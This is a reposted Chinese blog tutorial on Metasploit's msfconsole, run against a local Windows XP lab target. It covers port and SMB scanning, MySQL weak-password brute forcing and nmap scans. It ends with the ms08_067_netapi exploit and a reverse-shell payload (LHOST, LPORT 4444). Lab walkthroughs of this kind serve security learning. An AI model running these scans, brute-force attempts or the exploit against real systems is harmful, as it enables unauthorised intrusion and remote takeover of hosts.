msfconsole攻击工具_服务器console接口是干嘛的
msfconsole攻击工具_服务器console接口是干嘛的
大家好，又见面了，我是你们的朋友全栈君。
💛生活总会难过💚，💛但好运也会如期而至💚
🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴🌴
🍪目录：
🌲第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
🌲Msfconsole工具 概括： 🌾🌾🌾Msfconsole简称（msf）是一款常用的渗透测试工具，包含了常见的漏洞利用模块和生成各种木马，方便于安全测试人员的使用.
🌲免责声明： 严禁利用本文章中所提到的虚拟机和技术进行非法攻击，否则后果自负，上传者不承担任何责任。
🌲测试机： kali2021 链接：https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg 提取码：tian
🌲靶场： 本地自己搭建的 Pikachu（皮卡丘）靶场：安装在win XP（IP地址：192.168.1.103） Pikachu（皮卡丘）靶场搭建链接：Web安全 Pikachu（皮卡丘）靶场搭建._半个西瓜.的博客-CSDN博客
🌲Msfconsole的使用：
🌲打开Msfconsole工具：
msfconsole
🌲第一步：进行端口扫描.
🍉（1）查看端口扫描的模块：
search portscan
🍉（2）使用端口扫描模块：
use auxiliary/scanner/portscan/tcp
🍉（3）查看模块信息（模块里的yes都要填）：
show options
🍉（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
🍉（5）设置线程为100：
set threads 100
🍉（6）使用（执行）：run 或者 exploit
run
🍉（7）退出到msf ：
back🌲第二步：进行服务的扫描.
🍉（1）查看smb_version服务模块：
search smb_version
🍉（2）使用服务模块：
use auxiliary/scanner/smb/smb_version 
🍉（3）查看模块信息（模块里的yes都要填）：
show options
🍉（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
🍉（5）设置线程为10：
set threads 10
🍉（6）使用（执行）：run或者exploit
run
🍉（7）退出到msf ：
back
🌲第三步：扫描3306（Mysql）端口的弱口令
🍉（1）查看扫描3306（Mysql）端口的弱口令模板信息：
search mysql_login
🍉（2）使用扫描3306（Mysql）端口的弱口令模块：
use auxiliary/scanner/mysql/mysql_login
🍉（3）查看模块信息（模块里的yes都要填）：
show options
🍉（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
🍉（5）设置线程为10：
set threads 10
🍉（6）使用（执行）：run或者exploit
run
🍉（7）退出到msf ：
back🌲第四步：在msf模块里也可以使用nmap进行扫描.
🍉（1）主机发现：
nmap -sn 地址/24
🍉（2）端口扫描：
nmap -sS 地址
🍉（3）系统扫描：
nmap -O 地址
🍉（4）版本扫描：
nmap -sV 地址
🍉（5）综合扫描：
nmap -A 地址
🌲第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
🍉（1）启动 postgresql 数据库：
systemctl start postgresql.service
🍉（2）设置为开机自启：
systemctl enable postgresql
🍉（3）启动 Metasploit
msfconsole🍉（4）搜索Win XP漏洞对应的模块.
search ms08_067
🍉（5）使用Win XP漏洞扫描模块.
use exploit/windows/smb/ms08_067_netapi
🍉（6）设置攻击载荷
set payload generic/shell_reverse_tcp
🍉（7）查看模块信息（模块里的yes都要填）.
show options
🍉（8）查看渗透攻击模块的攻击平台，找到操作系统平台版本
show targets 
🍉（9）设置操作系统（target）.
set target 34
🍉（10）设置目标IP.
set rhosts （目标IP地址）
🍉（11）设置本地IP
set LHOST 本地IP
🍉（12）设置端口：
set LPORT 4444
🍉（13）使用（执行）：run或者exploit
🍉（14）渗透测试成功.
🌲渗透测试失败的原因：
🍉（1）靶机开启了防火墙.
🍉（2）两台主机不能互联.（用 ping IP地址）
参考链接：使用MSF 利用 ms08_067 对 XP 进行渗透_丰梓林的博客-CSDN博客
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/196341.html原文链接：https://javaforall.cn
腾讯云开发者
